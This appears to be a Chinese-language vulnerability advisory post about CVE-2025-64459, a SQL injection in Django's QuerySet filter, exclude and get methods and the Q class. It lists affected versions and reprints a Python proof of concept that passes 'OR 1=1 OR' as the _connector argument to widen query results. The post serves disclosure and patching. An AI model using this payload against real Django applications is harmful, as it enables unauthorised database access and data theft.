
0x00 前言
Django是一个高级的Python Web框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django负责处理网站开发中麻烦的部分,可以专注于编写应用程序,而无需重新开发。它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。
0x01 漏洞描述
该漏洞具体出现在QuerySet的 filter ()、exclude ()、get () 方法及Q类的使用场景中。当攻击者借助字典扩展的方式,将一个刻意构造的字典作为_connector关键字参数传入时,Django在构建SQL查询的过程中,对这一输入处理不当,进而使得恶意SQL代码得以注入。
利用此漏洞,攻击者能够绕过应用的SQL查询安全防护,实施未授权的数据库操作,可能造成敏感数据泄露、数据被篡改或丢失等后果。
0x02 CVE编号
CVE-2025-64459
0x03 影响版本
Django < 5.1.14
Django < 4.2.26
Django < 5.2.8
0x04 漏洞详情
POC:
https://gist.github.com/N3mes1s/2dbc84e4c1a7e8dea8d9b06231128e2d
import django
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'poc_project.settings')
django.setup()
from customers.models import Customer # noqa: E402
from django.db import connection # noqa: E402
defrun() -> None:
print('--- Running connector injection PoC ---')
baseline_qs = Customer.objects.filter(name='alice', email='alice@example.com')
baseline_count = baseline_qs.count()
print('NORMAL count:', baseline_count)
print('NORMAL SQL:', str(baseline_qs.query))
payload = {
'name': 'alice',
'email': 'alice@example.com',
'_connector': 'OR 1=1 OR '
}
print('Using payload:', payload)
injected_qs = Customer.objects.filter(**payload)
injected_count = injected_qs.count()
injected_sql = str(injected_qs.query)
print('INJECTED count:', injected_count)
print('INJECTED SQL:', injected_sql)
if connection.queries:
print('connection.queries (last):', connection.queries[-1])
else:
print('connection.queries empty; ensure DEBUG=True for logging')
altered = injected_count != baseline_count
print('Result set altered:', altered)
if __name__ == '__main__':
run()0x05 参考链接
https://www.djangoproject.com/weblog/2025/nov/05/security-releases/
推荐阅读:
CVE-2025-57833|Django SQL 注入漏洞(POC)
CVE-2025-24893|XWiki Platform远程代码执行漏洞(POC)
CVE-2025-6218|WinRAR目录遍历远程代码执行漏洞
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持